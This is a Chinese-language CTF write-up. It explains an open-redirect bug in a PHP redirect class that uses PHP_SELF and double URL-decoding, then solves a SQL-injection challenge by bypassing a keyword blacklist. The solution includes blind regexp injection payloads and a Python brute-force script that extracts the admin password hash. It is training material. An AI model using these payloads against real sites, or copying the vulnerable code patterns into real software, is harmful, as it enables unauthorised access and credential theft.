漏洞源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 class Redirect { private $websiteHost = 'www.example.com'; private function setHeaders($url) { $url = urldecode($url); header("Location: $url"); } public function startRedirect($params) { $parts = explode('/', $_SERVER['PHP_SELF']); $baseFile = end($parts); $url = sprintf( "%s?%s", $baseFile, http_build_query($params) ); $this->setHeaders($url); } } if ($_GET['redirect']) { (new Redirect())->startRedirect($_GET['params']); }
漏洞解析 $_SERVER[‘PHP_SELF’] $_SERVER[‘PHP_SELF’] 表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关。
假设我们有如下网址,$_SERVER[‘PHP_SELF’]得到的结果分别为:
http://www.5idev.com/php/ :/php/index.phphttp://www.5idev.com/php/index.php :/php/index.phphttp://www.5idev.com/php/index.php?test=foo :/php/index.phphttp://www.5idev.com/php/index.php/test/foo :/php/index.php/test/foo
因此,可以使用 $_SERVER[‘PHP_SELF’] 很方便的获取当前页面的地址:
$url = “http://“.$_SERVER[‘HTTP_HOST’].$_SERVER[‘PHP_SELF’];
以上面的地址为例,得到的结果如下:
http://www.5idev.com/php/index.php
上面是简单获取 http 协议的当前页面 URL ,只是要注意该地址是不包含 URL 中请求的参数(?及后面的字串)的。如果希望得到包含请求参数的完整 URL 地址,请使用 $_SERVER[‘REQUEST_URI’] 。
详细利用 HP自带的$_SERVER[‘PHP_SELF’] 参数是可以控制的。其中 PHP_SELF 指当前的页面绝对地址,比如我们的网站:http://www.test.com/redict/index.php,那么PHP_SELF 就是 /redict/index.php 。但有个小问题很多人没有注意到,当URL是PATH_INFO的时候,比如:http://www.test.com/redict/index.php/admin,那么PHP_SELF就是/redict/index.php/admin 也就是说,其实 PHP_SELF 有一部分是我们可以控制的。
双编码问题:
URL本来是被浏览器编码过一次,服务器接收到来自浏览器URL请求的时候,会将URL解码一次,由于在程序中我们看到有 urldecode() 函数存在,它会再次解码一次URL,此时双编码URL就可以利用,用于绕过某些关键词检测。比如将 / 编码为: %252f
漏洞利用:
比如我们要跳转到www.baidu.com ,那么就可以构造 Payload :http://www.test.com/index.php/http:%252f%252fwww.baidu.com ,访问即可重定向跳转到http://www.baidu.com 。
CTF 题目 index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include "./config.php"; include "./flag.php"; error_reporting(0); $black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|"; $black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i"; if(preg_match($black_list, $_GET['user'])) exit(":P"); if(preg_match($black_list, $_GET['pwd'])) exit(":P"); $query="select user from users where user='$_GET[user]' and pwd='$_GET[pwd]'"; echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>"; $result = $conn->query($query); if($result->num_rows > 0){ $row = $result->fetch_assoc(); if($row['user']) echo "<h2>Welcome {$row['user']}</h2>"; } $result = $conn->query("select pwd from users where user='admin'"); if($result->num_rows > 0){ $row = $result->fetch_assoc(); $admin_pass = $row['pwd']; } if(($admin_pass)&&($admin_pass === $_GET['pwd'])){ echo $flag; } highlight_file(__FILE__); ?>
config.php
1 2 3 4 5 6 7 8 9 10 <?php $servername = "localhost"; $username = "root"; $password = "root"; $dbname = "day15"; $conn = new mysqli($servername, $username, $password, $dbname); if ($conn->connect_error) { die("连接失败: "); } ?>
flag.php
1 2 3 <?php $flag = "HRCTF{Sql_and_byPass_WAF!}"; ?>
sql语句
1 2 3 4 5 6 7 8 9 10 11 DROP DATABASE IF EXISTS day15; CREATE DATABASE day15; USE day15; CREATE TABLE users ( id int(6) unsigned auto_increment primary key, user varchar(20) not null, pwd varchar(40) not null ); INSERT INTO users(user,pwd) VALUES('Lucia','82ebeafb2b5dede380a0d2e1323d6d0b'); INSERT INTO users(user,pwd) VALUES('Admin','c609b5eda02acd7b163f500cb23b06b1');
CTF 题解 似乎这题和上面提到的漏洞没有半毛钱关系呀,完全就是一个sql注入的题目。 先来看看黑名单:
1 2 $black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|"; $black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
注意第二个式子是 .=
就是把2个字符串连接起来。我们注意到没过滤\
但是可以注释用的# -
都被过滤了,好在我们可以用;%00
来进行注释。 例如,我们的payload为:
1 2 3 ?user=\&pwd=||1;%00 对应sql语句: select user from users where user='\' and pwd='||1;'
嗯,这样就可以注入成功了。但是我们想要得到flag ,pwd就需要等于admin的pwd,我们可以使用regexp来正则一个一个爆破出来。例如:
1 2 3 4 5 6 7 8 9 10 11 import requests char_set = '0123456789abcdef' #md5是16进制字符组成的字符串 pw = '' for a in range(32): for ch in char_set: url = 'http://127.0.0.1/day15/index.php?user=\&pwd=||pwd/**/regexp/**/"^{}";%00' r = requests.get(url=url.format(pw+ch)) if 'Welcome Admin' in r.text: pw += ch print(pw) break
然后我们输入这个pwd就可以了,如:
1 ?pwd=c609b5eda02acd7b163f500cb23b06b1
就可以看到flag了。